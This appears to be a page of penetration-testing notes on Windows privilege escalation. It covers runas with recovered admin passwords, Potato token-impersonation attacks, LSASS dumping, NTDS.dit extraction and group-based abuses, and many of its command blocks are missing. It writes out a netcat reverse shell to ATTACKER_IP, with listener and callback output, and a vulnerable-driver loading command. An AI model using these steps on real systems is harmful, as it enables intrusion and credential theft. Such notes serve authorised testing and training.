For the complete documentation index, see llms.txt. This page is also available as Markdown.

Windows Privilege Abuse

Recovered Local Admin Credentials

If you recover a valid local administrator password from configs, application storage, or credential hunting, use runas from a real cmd.exe prompt to start a process as that user.

Start a listener:

nc -nlvp 9001

From the target in cmd.exe:

runas /user:Administrator "nc.exe -e cmd.exe ATTACKER_IP 9001"

Enter the recovered password when prompted:

Enter the password for Administrator:
Attempting to start nc.exe -e cmd.exe ATTACKER_IP 9001 as user "HOSTNAME\Administrator" ...

Successful callback:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET]
Microsoft Windows [Version 10.0.19044.1645]
C:\WINDOWS\system32>

Notes:

  • Run it from cmd.exe; this path may fail or behave differently from a PowerShell prompt.

  • This requires an interactive password prompt. If you cannot interact with the prompt, use another credentialed execution path such as SMB/WinRM tooling when available.

  • Confirm the spawned context with whoami /all.

SeImpersonate / SeAssignPrimaryToken

Overview

  • Service accounts (IIS, MSSQL, etc.) often have SeImpersonatePrivilege

  • Allows impersonating a privileged account such as NT AUTHORITY\SYSTEM

  • "Potato" style attacks trick a SYSTEM process into connecting to our process, handing over its token

Check for the Privilege

  • Look for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

JuicyPotato (< Windows Server 2019 / Win10 1809)

PrintSpoofer (Windows Server 2019+ / Win10 1809+)

If PrintSpoofer finds SeImpersonatePrivilege but fails or times out, try another Potato family exploit instead of assuming the privilege is unusable.

XAMPP Apache webshell to SYSTEM

If a Windows XAMPP target lets a low-privileged user write into the web root, plant a PHP webshell to pivot into the Apache service account and check its token privileges.

Use C:\xampp\htdocs directly if /uploads is periodically moved or cleaned:

Confirm the Apache context and SeImpersonatePrivilege through the webshell:

Create a reverse shell payload, then upload it and PrintSpoofer into htdocs:

Start a listener, then trigger PrintSpoofer from the Apache context:

Successful shell:

GodPotato

Good indicators:

GodPotato service payload

If a direct reverse payload starts but dies, use GodPotato to create and start a service that runs as LocalSystem.

Create a service executable:

Stage a service creation script in the same writable directory as the payload:

Run the script through GodPotato:

Successful output:

PrintNotifyPotato

Use the .NET 4.6 build when available:

Successful indicators:

SigmaPotato

SigmaPotato can run privileged account-management commands:

Then authenticate remotely with the new local admin:

RoguePotato

  • Alternative to JuicyPotato for newer Windows versions

  • https://github.com/antonioCoco/RoguePotato

Common Scenario: MSSQL xp_cmdshell

SeDebugPrivilege

Overview

  • Allows attaching to or opening any process, even those owned by SYSTEM

  • Often assigned to developers for debugging

  • Can dump LSASS for credential theft or spawn a SYSTEM child process

Dump LSASS with ProcDump

Extract Hashes with Mimikatz

Alternative: Task Manager LSASS Dump

  • Details tab > right-click lsass.exe > "Create dump file"

  • Download and process offline with Mimikatz

RCE as SYSTEM via Parent Process

  • Use psgetsys.ps1 to spawn a child process inheriting a SYSTEM parent token

  • Target winlogon.exe (runs as SYSTEM)

SeTakeOwnershipPrivilege

Overview

  • Grants ability to take ownership of any securable object (files, folders, registry, services)

  • Can read protected files by taking ownership then modifying ACLs

Enable the Privilege

Take Ownership and Read File

Interesting Files to Target

SeBackupPrivilege (Backup Operators Group)

Overview

  • Allows traversing any folder and copying files regardless of ACLs

  • Must use FILE_FLAG_BACKUP_SEMANTICS flag (not standard copy)

  • Members can log in locally to Domain Controllers

Enable and Use

Copy NTDS.dit from Domain Controller

Extract Hashes

Domain Admin diskshadow

When you are a domain administrator already and want to get all hashes via diskshadow

Robocopy Alternative

Event Log Readers Group

  • Members can read Security event logs

  • If process command line auditing is enabled (Event ID 4688), may find passwords in logs

DnsAdmins Group

Attack: Load Malicious DLL via DNS Service

Cleanup

WPAD Record Attack (Alternative)

  • Can load vulnerable kernel drivers (e.g., Capcom.sys)

  • Automate with EoPLoadDriver: EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

  • Note: Not exploitable since Windows 10 Version 1803

Server Operators Group

  • Members have SERVICE_ALL_ACCESS on many services

  • Can modify service binary path and restart services

Hyper-V Administrators

  • Full access to all Hyper-V features

  • If DCs are virtualized, consider them Domain Admins

  • Can clone live DC, mount virtual disk offline, extract NTDS.dit

Last updated